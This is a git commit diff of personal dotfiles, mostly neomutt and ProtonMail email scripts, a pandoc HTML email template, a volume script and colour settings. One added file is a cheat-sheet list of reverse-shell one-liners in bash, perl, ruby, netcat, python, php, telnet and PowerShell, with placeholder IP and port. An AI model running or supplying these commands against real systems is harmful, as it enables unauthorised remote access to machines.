parent
c249f1076f
commit
fbe30c1f8e
21 changed files with 987 additions and 24 deletions
@ -1,11 +0,0 @@ |
||||
#!/usr/bin/env node |
||||
|
||||
import convertBytesToHumanReadable from 'human-readable-bytes'; |
||||
|
||||
|
||||
|
||||
process.args.forEach( (val, index) => { |
||||
if( index == process.args.length - 1 ){ |
||||
console.log( val ); |
||||
} |
||||
}); |
@ -0,0 +1,14 @@ |
||||
BASH REVERSE SHELL|bash -i >& /dev/tcp/[IPADDR]/[PORT] 0>&1 |
||||
BASH REVERSE SHELL|0<&196;exec 196<>/dev/tcp/[IPADDR]/[PORT]; sh <&196 >&196 2>&196 |
||||
PERL REVERSE SHELL|perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' |
||||
PERL REVERSE SHELL WINDOWS|perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' |
||||
RUBY REVERSE SHELL|ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' |
||||
RUBY REVERSE SHELL|ruby -rsocket -e'f=TCPSocket.open("[IPADDR]",[PORT]).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' |
||||
RUBY REVERSE SHELL WINDOWS|ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' |
||||
NETCAT REVERSE SHELL|nc -c /bin/sh [IPADDR] [PORT] |
||||
NETCAT REVERSE SHELL|/bin/sh | nc [IPADDR] [PORT] |
||||
NETCAT REVERSE SHELL|rm -f /tmp/p; mknod /tmp/p p && nc [IPADDR] [PORT] 0/tmp/p |
||||
PYTHON REVERSE SHELL|python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[IPADDR]",[PORT]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
||||
PHP REVERSE SHELL|php -r '$sock=fsockopen("[IPADDR]",[PORT]);exec("/bin/sh -i <&3 >&3 2>&3");' |
||||
TELNET REVERSE SHELL|rm -f /tmp/p; mknod /tmp/p p && telnet [IPADDR] [PORT] 0/tmp/p |
||||
POWERSHELL REVERSE SHELL|powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("[IPADDR]",[PORT]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() |
@ -0,0 +1,239 @@ |
||||
#!/usr/bin/env python3 |
||||
# Original Source: https://github.com/oblitum/dotfiles/blob/ArchLinux/.local/bin/MIMEmbellish |
||||
|
||||
import re |
||||
import sys |
||||
import email |
||||
import shlex |
||||
import mimetypes |
||||
import subprocess |
||||
from copy import copy |
||||
from hashlib import md5 |
||||
from email import charset |
||||
from email import encoders |
||||
from email.mime.text import MIMEText |
||||
from email.mime.multipart import MIMEMultipart |
||||
from email.mime.nonmultipart import MIMENonMultipart |
||||
from os.path import basename, splitext, expanduser |
||||
|
||||
|
||||
charset.add_charset('utf-8', charset.SHORTEST, '8bit') |
||||
|
||||
|
||||
def pandoc(from_format, to_format='markdown', plain='markdown', title=None): |
||||
markdown = ('markdown' |
||||
'-blank_before_blockquote') |
||||
|
||||
if from_format == 'plain': |
||||
from_format = plain |
||||
if from_format == 'markdown': |
||||
from_format = markdown |
||||
if to_format == 'markdown': |
||||
to_format = markdown |
||||
|
||||
command = 'pandoc -f {} -t {} --standalone --highlight-style=tango' |
||||
if to_format in ('html', 'html5'): |
||||
if title is not None: |
||||
command += ' --variable=pagetitle:{}'.format(shlex.quote(title)) |
||||
command += ' --webtex --template={}'.format( |
||||
expanduser('~/.pandoc/templates/email.html')) |
||||
return command.format(from_format, to_format) |
||||
|
||||
|
||||
def gmailfy(payload): |
||||
return payload.replace('<blockquote>', |
||||
'<blockquote class="gmail_quote" style="' |
||||
'padding: 0 7px 0 7px;' |
||||
'border-left: 2px solid #cccccc;' |
||||
'font-style: italic;' |
||||
'margin: 0 0 7px 3px;' |
||||
'">') |
||||
|
||||
|
||||
def make_alternative(message, part): |
||||
alternative = convert(part, 'html', |
||||
pandoc(part.get_content_subtype(), |
||||
to_format='html', |
||||
title=message.get('Subject'))) |
||||
alternative.set_payload(gmailfy(alternative.get_payload())) |
||||
return alternative |
||||
|
||||
|
||||
def make_replacement(message, part): |
||||
return convert(part, 'plain', pandoc(part.get_content_subtype())) |
||||
|
||||
|
||||
def convert(part, to_subtype, command): |
||||
payload = part.get_payload() |
||||
if isinstance(payload, str): |
||||
payload = payload.encode('utf-8') |
||||
else: |
||||
payload = part.get_payload(None, True) |
||||
if not isinstance(payload, bytes): |
||||
payload = payload.encode('utf-8') |
||||
process = subprocess.run( |
||||
shlex.split(command), |
||||
input=payload, stdout=subprocess.PIPE, check=True) |
||||
return MIMEText(process.stdout, to_subtype, 'utf-8') |
||||
|
||||
|
||||
def with_alternative(parent, part, from_signed, |
||||
make_alternative=make_alternative, |
||||
make_replacement=None): |
||||
try: |
||||
alternative = make_alternative(parent or part, from_signed or part) |
||||
replacement = (make_replacement(parent or part, part) |
||||
if from_signed is None and make_replacement is not None |
||||
else part) |
||||
except: |
||||
return parent or part |
||||
envelope = MIMEMultipart('alternative') |
||||
if parent is None: |
||||
for k, v in part.items(): |
||||
if (k.lower() != 'mime-version' |
||||
and not k.lower().startswith('content-')): |
||||
envelope.add_header(k, v) |
||||
del part[k] |
||||
envelope.attach(replacement) |
||||
envelope.attach(alternative) |
||||
if parent is None: |
||||
return envelope |
||||
payload = parent.get_payload() |
||||
payload[payload.index(part)] = envelope |
||||
return parent |
||||
|
||||
|
||||
def tag_attachments(message): |
||||
if message.get_content_type() == 'multipart/mixed': |
||||
for part in message.get_payload(): |
||||
if (part.get_content_maintype() in ['image'] |
||||
and 'Content-ID' not in part): |
||||
filename = part.get_param('filename', |
||||
header='Content-Disposition') |
||||
if isinstance(filename, tuple): |
||||
filename = str(filename[2], filename[0] or 'us-ascii') |
||||
if filename: |
||||
filename = splitext(basename(filename))[0] |
||||
if filename: |
||||
part.add_header('Content-ID', '<{}>'.format(filename)) |
||||
return message |
||||
|
||||
|
||||
def attachment_from_file_path(attachment_path): |
||||
try: |
||||
mime, encoding = mimetypes.guess_type(attachment_path, strict=False) |
||||
maintype, subtype = mime.split('/') |
||||
with open(attachment_path, 'rb') as payload: |
||||
attachment = MIMENonMultipart(maintype, subtype) |
||||
attachment.set_payload(payload.read()) |
||||
encoders.encode_base64(attachment) |
||||
if encoding: |
||||
attachment.add_header('Content-Encoding', encoding) |
||||
return attachment |
||||
except: |
||||
return None |
||||
|
||||
|
||||
attachment_path_pattern = re.compile(r'\]\s*\(\s*file://(/[^)]*\S)\s*\)|' |
||||
r'\]\s*:\s*file://(/.*\S)\s*$', |
||||
re.MULTILINE) |
||||
|
||||
|
||||
def link_attachments(payload): |
||||
attached = [] |
||||
attachments = [] |
||||
|
||||
def on_match(match): |
||||
if match.group(1): |
||||
attachment_path = match.group(1) |
||||
cid_fmt = '](cid:{})' |
||||
else: |
||||
attachment_path = match.group(2) |
||||
cid_fmt = ']: cid:{}' |
||||
attachment_id = md5(attachment_path.encode()).hexdigest() |
||||
if attachment_id in attached: |
||||
return cid_fmt.format(attachment_id) |
||||
attachment = attachment_from_file_path(attachment_path) |
||||
if attachment: |
||||
attachment.add_header('Content-ID', '<{}>'.format(attachment_id)) |
||||
attachments.append(attachment) |
||||
attached.append(attachment_id) |
||||
return cid_fmt.format(attachment_id) |
||||
return match.group() |
||||
|
||||
return attachments, attachment_path_pattern.sub(on_match, payload) |
||||
|
||||
|
||||
def with_local_attachments(parent, part, from_signed, |
||||
link_attachments=link_attachments): |
||||
if from_signed is None: |
||||
attachments, payload = link_attachments(part.get_payload()) |
||||
part.set_payload(payload) |
||||
else: |
||||
attachments, payload = link_attachments(from_signed.get_payload()) |
||||
from_signed = copy(from_signed) |
||||
from_signed.set_payload(payload) |
||||
if not attachments: |
||||
return parent, part, from_signed |
||||
if parent is None: |
||||
parent = MIMEMultipart('mixed') |
||||
for k, v in part.items(): |
||||
if (k.lower() != 'mime-version' |
||||
and not k.lower().startswith('content-')): |
||||
parent.add_header(k, v) |
||||
del part[k] |
||||
parent.attach(part) |
||||
for attachment in attachments: |
||||
parent.attach(attachment) |
||||
return parent, part, from_signed |
||||
|
||||
|
||||
def is_target(part, target_subtypes): |
||||
return (part.get('Content-Disposition', 'inline') == 'inline' |
||||
and part.get_content_maintype() == 'text' |
||||
and part.get_content_subtype() in target_subtypes) |
||||
|
||||
|
||||
def pick_from_signed(part, target_subtypes): |
||||
for from_signed in part.get_payload(): |
||||
if is_target(from_signed, target_subtypes): |
||||
return from_signed |
||||
|
||||
|
||||
def seek_target(message, target_subtypes=['plain', 'markdown']): |
||||
if message.is_multipart(): |
||||
if message.get_content_type() == 'multipart/signed': |
||||
part = pick_from_signed(message, target_subtypes) |
||||
if part is not None: |
||||
return None, message, part |
||||
elif message.get_content_type() == 'multipart/mixed': |
||||
for part in message.get_payload(): |
||||
if part.is_multipart(): |
||||
if part.get_content_type() == 'multipart/signed': |
||||
from_signed = pick_from_signed(part, target_subtypes) |
||||
if from_signed is not None: |
||||
return message, part, from_signed |
||||
elif is_target(part, target_subtypes): |
||||
return message, part, None |
||||
else: |
||||
if is_target(message, target_subtypes): |
||||
return None, message, None |
||||
return None, None, None |
||||
|
||||
|
||||
def main(): |
||||
try: |
||||
message = email.message_from_file(sys.stdin) |
||||
parent, part, from_signed = seek_target(message) |
||||
if (parent, part, from_signed) == (None, None, None): |
||||
print(message) |
||||
return |
||||
tag_attachments(message) |
||||
print(with_alternative( |
||||
*with_local_attachments(parent, part, from_signed))) |
||||
except (BrokenPipeError, KeyboardInterrupt): |
||||
pass |
||||
|
||||
|
||||
if __name__ == '__main__': |
||||
main() |
@ -0,0 +1,9 @@ |
||||
#!/usr/bin/env sh |
||||
|
||||
#Start proton mail bridge if not running |
||||
if [ ! $(pgrep -f protonmail-br) ]; then |
||||
setsid protonmail-bridge --no-window & |
||||
sleep 5 |
||||
fi |
||||
|
||||
neomutt |
@ -0,0 +1,4 @@ |
||||
#!/bin/sh |
||||
|
||||
EMAIL=$(pass Email/protonmail | grep BridgeUsername | cut -d':' -f2) |
||||
~/.bin/emails/MIMEmbellish | msmtp --user "$EMAIL" "$@" |
@ -0,0 +1,14 @@ |
||||
#!/usr/bin/env sh |
||||
|
||||
# A simple script to adjust the volume |
||||
# Requires pulse and amixer |
||||
|
||||
case "$1" in |
||||
"up") |
||||
amixer -q -D default sset Master 5%+ unmute |
||||
;; |
||||
"down") |
||||
amixer -q -D default sset Master 5%- unmute |
||||
esac |
||||
|
||||
command -v notify-send && notify-send "Volume" "$(amixer -D default sget Master | grep -o '\[.*\%' | tr -d '[')" |
@ -1,3 +0,0 @@ |
||||
#!/usr/bin/env bash |
||||
|
||||
/usr/bin/whoami > /tmp/testing |
@ -0,0 +1 @@ |
||||
text/html; w3m -I %{charset} -T text/html; copiousoutput; |
@ -0,0 +1,95 @@ |
||||
# vim: filetype=neomuttrc |
||||
source "~/.config/mutt/accounts/protonmail" |
||||
|
||||
set header_cache = ~/.cache/mutt |
||||
|
||||
|
||||
set sort = threads |
||||
set sort_aux = reverse-last-date-received |
||||
set date_format="%y/%m/%d %I:%M%p" |
||||
set forward_format = "Fwd: %s" # format of subject when forwarding |
||||
set forward_quote # include message in forwards |
||||
set include # include message in replies |
||||
|
||||
set editor = "vim +':set textwidth=0'" |
||||
set include = yes |
||||
set new_mail_command = "notify-send 'New Email'" |
||||
set sendmail = "/home/jonathan/.bin/emails/send-from-mutt" |
||||
set edit_headers=yes |
||||
|
||||
|
||||
set mailcap_path = "~/.config/mutt/mailcap" |
||||
auto_view text/html |
||||
auto_view application/pgp-encrypted |
||||
alternative_order text/plain text/enriched text/html |
||||
|
||||
macro attach 'V' "<pipe-entry>cat >~/.cache/mutt/mail.html && qutebrowser ~/.cache/mutt/mail.html && rm ~/.cache/mutt/mail.html<enter>" |
||||
|
||||
# Formatting |
||||
|
||||
# Default index colors: |
||||
color index yellow default '.*' |
||||
color index_author red default '.*' |
||||
color index_number blue default |
||||
color index_subject cyan default '.*' |
||||
|
||||
# New mail is boldened: |
||||
color index brightyellow black "~N" |
||||
color index_author brightred black "~N" |
||||
color index_subject brightcyan black "~N" |
||||
|
||||
# Other colors and aesthetic settings: |
||||
mono bold bold |
||||
mono underline underline |
||||
mono indicator reverse |
||||
mono error bold |
||||
color normal default default |
||||
color indicator brightblack white |
||||
color sidebar_highlight red default |
||||
color sidebar_divider brightblack black |
||||
color sidebar_flagged red black |
||||
color sidebar_new green black |
||||
color normal brightyellow default |
||||
color error red default |
||||
color tilde black default |
||||
color message cyan default |
||||
color markers red white |
||||
color attachment white default |
||||
color search brightmagenta default |
||||
color status brightyellow black |
||||
color hdrdefault brightgreen default |
||||
color quoted green default |
||||
color quoted1 blue default |
||||
color quoted2 cyan default |
||||
color quoted3 yellow default |
||||
color quoted4 red default |
||||
color quoted5 brightred default |
||||
color signature brightgreen default |
||||
color bold black default |
||||
color underline black default |
||||
color normal default default |
||||
|
||||
# Regex highlighting: |
||||
color header blue default ".*" |
||||
color header brightmagenta default "^(From)" |
||||
color header brightcyan default "^(Subject)" |
||||
color header brightwhite default "^(CC|BCC)" |
||||
color body brightred default "[\-\.+_a-zA-Z0-9]+@[\-\.a-zA-Z0-9]+" # Email addresses |
||||
color body brightblue default "(https?|ftp)://[\-\.,/%~_:?&=\#a-zA-Z0-9]+" # URL |
||||
color body green default "\`[^\`]*\`" # Green text between ` and ` |
||||
color body brightblue default "^# \.*" # Headings as bold blue |
||||
color body brightcyan default "^## \.*" # Subheadings as bold cyan |
||||
color body brightgreen default "^### \.*" # Subsubheadings as bold green |
||||
color body yellow default "^(\t| )*(-|\\*) \.*" # List items as yellow |
||||
color body brightcyan default "[;:][-o][)/(|]" # emoticons |
||||
color body brightcyan default "[;:][)(|]" # emoticons |
||||
color body brightcyan default "[ ][*][^*]*[*][ ]?" # more emoticon? |
||||
color body brightcyan default "[ ]?[*][^*]*[*][ ]" # more emoticon? |
||||
color body red default "(BAD signature)" |
||||
color body cyan default "(Good signature)" |
||||
color body brightblack default "^gpg: Good signature .*" |
||||
color body brightyellow default "^gpg: " |
||||
color body brightyellow red "^gpg: BAD signature from.*" |
||||
mono body bold "^gpg: Good signature" |
||||
mono body bold "^gpg: BAD signature from.*" |
||||
color body red default "([a-z][a-z0-9+-]*://(((([a-z0-9_.!~*'();:&=+$,-]|%[0-9a-f][0-9a-f])*@)?((([a-z0-9]([a-z0-9-]*[a-z0-9])?)\\.)*([a-z]([a-z0-9-]*[a-z0-9])?)\\.?|[0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+)(:[0-9]+)?)|([a-z0-9_.!~*'()$,;:@&=+-]|%[0-9a-f][0-9a-f])+)(/([a-z0-9_.!~*'():@&=+$,-]|%[0-9a-f][0-9a-f])*(;([a-z0-9_.!~*'():@&=+$,-]|%[0-9a-f][0-9a-f])*)*(/([a-z0-9_.!~*'():@&=+$,-]|%[0-9a-f][0-9a-f])*(;([a-z0-9_.!~*'():@&=+$,-]|%[0-9a-f][0-9a-f])*)*)*)?(\\?([a-z0-9_.!~*'();/?:@&=+$,-]|%[0-9a-f][0-9a-f])*)?(#([a-z0-9_.!~*'();/?:@&=+$,-]|%[0-9a-f][0-9a-f])*)?|(www|ftp)\\.(([a-z0-9]([a-z0-9-]*[a-z0-9])?)\\.)*([a-z]([a-z0-9-]*[a-z0-9])?)\\.?(:[0-9]+)?(/([-a-z0-9_.!~*'():@&=+$,]|%[0-9a-f][0-9a-f])*(;([-a-z0-9_.!~*'():@&=+$,]|%[0-9a-f][0-9a-f])*)*(/([-a-z0-9_.!~*'():@&=+$,]|%[0-9a-f][0-9a-f])*(;([-a-z0-9_.!~*'():@&=+$,]|%[0-9a-f][0-9a-f])*)*)*)?(\\?([-a-z0-9_.!~*'();/?:@&=+$,]|%[0-9a-f][0-9a-f])*)?(#([-a-z0-9_.!~*'();/?:@&=+$,]|%[0-9a-f][0-9a-f])*)?)[^].,:;!)? \t\r\n<>\"]" |
@ -0,0 +1,598 @@ |
||||
<!DOCTYPE html> |
||||
<html> |
||||
<head> |
||||
<meta charset="utf-8"> |
||||
<meta name="ProgId" content="Word.Document"> |
||||
<meta name="viewport" content="width=device-width, initial-scale=1"> |
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge" /> |
||||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> |
||||
$for(author-meta)$ |
||||
<meta name="author" content="$author-meta$" /> |
||||
$endfor$ |
||||
$if(date-meta)$ |
||||
<meta name="date" content="$date-meta$" /> |
||||
$endif$ |
||||
$if(keywords)$ |
||||
<meta name="keywords" content="$for(keywords)$$keywords$$sep$, $endfor$" /> |
||||
$endif$ |
||||
<title>$if(title-prefix)$$title-prefix$ – $endif$$pagetitle$</title> |
||||
<style type="text/css"> |
||||
body, table, td, a { |
||||
-webkit-text-size-adjust: 100%; |
||||
-ms-text-size-adjust: 100%; |
||||
} |
||||
|
||||
table, td { |
||||
mso-table-lspace: 0pt; |
||||
mso-table-rspace: 0pt; |
||||
} |
||||
|
||||
img { |
||||
-ms-interpolation-mode: bicubic; |
||||
} |
||||
|
||||
img { |
||||
border: 0; |
||||
height: auto; |
||||
line-height: 100%; |
||||
outline: none; |
||||
text-decoration: none; |
||||
} |
||||
|
||||
body { |
||||
height: 100% !important; |
||||
margin: 0 !important; |
||||
padding: 0 !important; |
||||
width: 100% !important; |
||||
} |
||||
|
||||
figure { |
||||
margin: 0; |
||||
padding: 0; |
||||
} |
||||
|
||||
article, aside, details, figcaption, figure,footer, header, hgroup, menu, nav, section { |
||||
display: block; |
||||
} |
||||
|
||||
a[x-apple-data-detectors] { |
||||
color: inherit !important; |
||||
text-decoration: none !important; |
||||
font-size: inherit !important; |
||||
font-family: inherit !important; |
||||
font-weight: inherit !important; |
||||
line-height: inherit !important; |
||||
} |
||||
|
||||
div[style*="margin: 16px 0;"] { |
||||
margin: 0 !important; |
||||
} |
||||
|
||||
table,td,div,a { |
||||
box-sizing: border-box; |
||||
} |
||||
|
||||
img { |
||||
-ms-interpolation-mode: bicubic; |
||||
max-width: 100%; |
||||
display: inline-block; |
||||
padding-top: 7px; |
||||
} |
||||
|
||||
body, .body { |
||||
font-family: Georgia, "Times New Roman", Times, serif; |
||||
font-size: 14px; |
||||
line-height: 1.2; |
||||
height: 100% !important; |
||||
width: 100% !important; |
||||
margin: 0; |
||||
padding: 0; |
||||
-webkit-font-smoothing: antialiased; |
||||
-ms-text-size-adjust: 100%; |
||||
-webkit-text-size-adjust: 100%; |
||||
} |
||||
|
||||
table { |
||||
border-collapse: separate !important; |
||||
mso-table-lspace: 0pt; |
||||
mso-table-rspace: 0pt; |
||||
width: 100%; |
||||
} |
||||
|
||||
table td { |
||||
font-family: Georgia, "Times New Roman", Times, serif; |
||||
font-size: 14px; |
||||
vertical-align: top; |
||||
} |
||||
|
||||
.ExternalClass { |
||||
width: 100%; |
||||
} |
||||
|
||||
.ExternalClass,.ExternalClass p,.ExternalClass span,.ExternalClass font,.ExternalClass td,.ExternalClass div { |
||||
line-height: 100%; |
||||
} |
||||
|
||||
strong, b { |
||||
font-weight: bold; |
||||
} |
||||
|
||||
.ajT { |
||||
height: none; |
||||
padding-top: none; |
||||
} |
||||
|
||||
body { |
||||
background-color: #ffffff; |
||||
} |
||||
|
||||
.body { |
||||
background-color: #ffffff; |
||||
width: 100%; |
||||
} |
||||
|
||||
.container { |
||||
display: block; |
||||
Margin: 0 auto !important; |
||||
max-width: 800px; |
||||
padding: 10px; |
||||
width: 100% !important; |
||||
} |
||||
|
||||
.content { |
||||
display: block; |
||||
margin: 0 auto; |
||||
max-width: 800px; |
||||
padding: 10px; |
||||
} |
||||
|
||||
.main { |
||||
background: #ffffff; |
||||
border: none; |
||||
border-radius: 4px; |
||||
width: 100%; |
||||
} |
||||
|
||||
.wrapper { |
||||
padding: 10px; |
||||
} |
||||
|
||||
.content-block { |
||||
padding: 0 0 10px; |
||||
} |
||||
|
||||
.header { |
||||
margin-bottom: 10px; |
||||
margin-top: 0px; |
||||
width: 100%; |
||||
} |
||||
|
||||
.footer { |
||||
clear: both; |
||||
width: 100%; |
||||
} |
||||
|
||||
.footer * { |
||||
color: #7F7F7F; |
||||
font-size: 12px; |
||||
} |
||||
|
||||
.footer td { |
||||
padding: 20px 0; |
||||
} |
||||
|
||||
h1,h2,h3,h4,h5,h6 { |
||||
color: #222222 !important; |
||||
font-family: "Roboto", "Helvetica Neue", "Segoe UI", Helvetica, Arial, sans-serif; |
||||
font-weight: bold; |
||||
line-height: 1.2; |
||||
margin: 0; |
||||
margin-bottom: 7px; |
||||
margin-top: 10.5px; |
||||
} |
||||
|
||||
h1, h2 { |
||||
margin-bottom: 10.5px; |
||||
margin-top: 14px; |
||||
} |
||||
|
||||
h1 { |
||||
font-size: 22.4px; |
||||
text-transform: capitalize; |
||||
} |
||||
|
||||
h2 { |
||||
font-size: 19.6px; |
||||
} |
||||
|
||||
h3 { |
||||
font-size: 16.8px; |
||||
} |
||||
|
||||
h4 { |
||||
font-size: 15.4px; |
||||
} |
||||
|
||||
h5 { |
||||
font-size: 14px; |
||||
} |
||||
|
||||
h6 { |
||||
font-size: 12.6px; |
||||
} |
||||
|
||||
p,ul,ol { |
||||
font-family: Georgia, "Times New Roman", Times, serif; |
||||
font-size: 14px; |
||||
font-weight: normal; |
||||
margin: 0; |
||||
padding-top: 7px; |
||||
color: #111111; |
||||
} |
||||
|
||||
ul, ol { |
||||
margin: 0; |
||||
margin-bottom: 7.5px; |
||||
padding-left: 25px; |
||||
} |
||||
|
||||
ul li, ol li { |
||||
list-style-position: outside; |
||||
margin-left: 5px; |
||||
margin-bottom: 1px; |
||||
} |
||||
|
||||
li > ul, li > ol { |
||||
margin-top: 7.5px; |
||||
} |
||||
|
||||
a { |
||||
color: #348eda; |
||||
text-decoration: none; |
||||
font-weight: bold; |
||||
} |
||||
|
||||
pre > a, code > a { |
||||
color: none; |
||||
font-weight: normal; |
||||
} |
||||
|
||||
code,pre,.word-wrap { |
||||
word-break: break-word; |
||||
word-wrap: break-word; |
||||
-webkit-hyphens: auto; |
||||
-moz-hyphens: auto; |
||||
hyphens: auto; |
||||
} |
||||
|
||||
pre, code { |
||||
font-family: Menlo, Monaco, Consolas, "Courier New", monospace; |
||||
font-size: 11.9px; |
||||
} |
||||
|
||||
pre { |
||||
display: block; |
||||
width: 96%; |
||||
margin: 1em 0; |
||||
margin-bottom: 9px; |
||||
background: #f8f8f8; |
||||
padding: 1%; |
||||
white-space: pre-wrap; |
||||
border-radius: 4px; |
||||
} |
||||
|
||||
p > code { |
||||
color: #111111; |
||||
background: none; |
||||
} |
||||
|
||||
blockquote { |
||||
padding: 0 7px 0 7px; |
||||
border-left: 2px solid #cccccc; |
||||
border-top: 4.2px solid transparent; |
||||
font-style: italic; |
||||
margin: 0 0 7px 3px; |
||||
} |
||||
|
||||
blockquote p { |
||||
padding: 0; |
||||
} |
||||
|
||||
mark { |
||||
background: #ff0; |
||||
} |
||||
|
||||
dl dt { |
||||
font-weight: bold; |
||||
} |
||||
|
||||
dl dd { |
||||
margin-left: 28px; |
||||
} |
||||
|
||||
.et-btn { |
||||
width: 100%; |
||||
font-family: "Roboto", "Helvetica Neue", "Segoe UI", Helvetica, Arial, sans-serif; |
||||
margin-bottom: 10px; |
||||
} |
||||
|
||||
.et-btn table { |
||||
width: auto; |
||||
} |
||||
|
||||
.et-btn table td { |
||||
background-color: #ffffff; |
||||
border-radius: 4px; |
||||
text-align: center; |
||||
} |
||||
|
||||
.et-btn a { |
||||
background-color: #ffffff; |
||||
border: solid 1px #348eda; |
||||
border-radius: 4px; |
||||
color: #348eda; |
||||
cursor: pointer; |
||||
display: inline-block; |
||||
font-size: 14px; |
||||
font-weight: bold; |
||||
margin: 0; |
||||
padding: 8px 18px; |
||||
text-decoration: none; |
||||
text-transform: capitalize; |
||||
font-family: "Roboto", "Helvetica Neue", "Segoe UI", Helvetica, Arial, sans-serif; |
||||
} |
||||
|
||||
.et-btn-primary table td { |
||||
background-color: #348eda; |
||||
} |
||||
|
||||
.et-btn-primary a { |
||||
background-color: #348eda; |
||||
border-color: #348eda; |
||||
color: #ffffff; |
||||
} |
||||
|
||||
.et-btn-secondary table td { |
||||
background-color: transparent; |
||||
} |
||||
|
||||
.et-btn-secondary a { |
||||
background-color: transparent; |
||||
border-color: #348eda; |
||||
color: #348eda; |
||||
} |
||||
|
||||
.et-notice { |
||||
border-collapse: separate; |
||||
} |
||||
|
||||
.et-notice-spacer { |
||||
padding: 10px 0; |
||||
} |
||||
|
||||
.et-notice td { |
||||
line-height: 1.2; |
||||
font-size: 14px; |
||||
font-weight: normal; |
||||
font-family: "Roboto", "Helvetica Neue", "Segoe UI", Helvetica, Arial, sans-serif; |
||||
} |
||||
|
||||
.et-notice td p { |
||||
margin: 0; |
||||
padding: 0; |
||||
} |
||||
|
||||
.et-notice-info td { |
||||
background: #f0f6fb; |
||||
border: 1px solid #b7d3ed; |
||||
border-radius: 4px; |
||||
color: #2c6eac; |
||||
padding: 6px 10px; |
||||
} |
||||
|
||||
.et-notice-success td { |
||||
background: #e1f2bd; |
||||
border: 1px solid #c6e682; |
||||
border-radius: 4px; |
||||
color: #61821a; |
||||
padding: 6px 10px; |
||||
} |
||||
|
||||
.et-notice-warning td { |
||||
background: #f7eed0; |
||||
border: 1px solid #edd993; |
||||
border-radius: 4px; |
||||
color: #9a7d1a; |
||||
padding: 6px 10px; |
||||
} |
||||
|
||||
.et-notice-danger td { |
||||
background: #f5d5d5; |
||||
border: 1px solid #e89b9b; |
||||
border-radius: 4px; |
||||
color: #952222; |
||||
padding: 6px 10px; |
||||
} |
||||
|
||||
.et-notice-lg td { |
||||
font-size: 16.8px; |
||||
line-height: 1.2; |
||||
} |
||||
|
||||
.divider { |
||||
border-collapse: separate; |
||||
} |
||||
|
||||
.divider-spacer { |
||||
padding: 14px 0; |
||||
} |
||||
|
||||
.divider td { |
||||
border-top: 1px solid #ccc; |
||||
line-height: 0; |
||||
font-size: 0; |
||||
height: 1px; |
||||
margin: 0; |
||||
padding: 0; |
||||
} |
||||
|
||||
hr { |
||||
margin: 28px 0; |
||||
border: none; |
||||
border-top: 1px solid #cccccc; |
||||
color: #ffffff; |
||||
} |
||||
|
||||
.last { |
||||
margin-bottom: 0; |
||||
} |
||||
|
||||
.first { |
||||
margin-top: 0; |
||||
} |
||||
|
||||
.align-center { |
||||
text-align: center; |
||||
} |
||||
|
||||
.align-right { |
||||
text-align: right; |
||||
} |
||||
|
||||
.align-left { |
||||
text-align: left; |
||||
} |
||||
|
||||
.clear { |
||||
clear: both; |
||||
} |
||||
|
||||
.mt0 { |
||||
margin-top: 0; |
||||
} |
||||
|
||||
.mb0 { |
||||
margin-bottom: 0; |
||||
} |
||||
|
||||
.preheader { |
||||
color: transparent; |
||||
display: none; |
||||
height: 0; |
||||
max-height: 0; |
||||
max-width: 0; |
||||
opacity: 0; |
||||
overflow: hidden; |
||||
mso-hide: all; |
||||
visibility: hidden; |
||||
width: 0; |
||||
} |
||||
|
||||
@media only screen and (max-width: 840px) { |
||||
table[class=body] { |
||||
font-size: 12px !important; |
||||
} |
||||
|
||||
table[class=body] p,table[class=body] ul,table[class=body] ol { |
||||
font-size: 12px !important; |
||||
} |
||||
|
||||
table[class=body] .et-btn { |
||||
margin-bottom: 15px; |
||||
} |
||||
|
||||
table[class=body] h1 { |
||||
font-size: 18.2px !important; |
||||
} |
||||
|
||||
table[class=body] h2 { |
||||
font-size: 16.8px !important; |
||||
} |
||||
|
||||
table[class=body] h3 { |
||||
font-size: 15.4px !important; |
||||
} |
||||
|
||||
table[class=body] h4 { |
||||
font-size: 14.7px !important; |
||||
} |
||||
|
||||
table[class=body] h5 { |
||||
font-size: 12.6px !important; |
||||
} |
||||
|
||||
table[class=body] h6 { |
||||
font-size: 11.9px !important; |
||||
} |
||||
|
||||
table[class=body] h1, table[class=body] h2 { |
||||
margin-bottom: 14px !important; |
||||
margin-top: 14px !important; |
||||
} |
||||
|
||||
table[class=body] .container, table[class=body] .content { |
||||
width: 100% !important; |
||||
max-width: 100% !important; |
||||
} |
||||
|
||||
table[class=body] .content,table[class=body] .wrapper { |
||||
padding: 10px !important; |
||||
} |
||||
|
||||
table[class=body] .container { |
||||
padding: 0 !important; |
||||
width: 100% !important; |
||||
} |
||||
|
||||
table[class=body] .btn table,table[class=body] .btn a { |
||||
width: 100% !important; |
||||
} |
||||
} |
||||
</style> |
||||
$if(quotes)$ |
||||
<style type="text/css">q { quotes: "“" "”" "‘" "’"; }</style> |
||||
$endif$ |
||||
$if(highlighting-css)$ |
||||
<style type="text/css"> |
||||
$highlighting-css$ |
||||
</style> |
||||
$endif$ |
||||
$for(css)$ |
||||
<link rel="stylesheet" href="$css$" type="text/css" /> |
||||
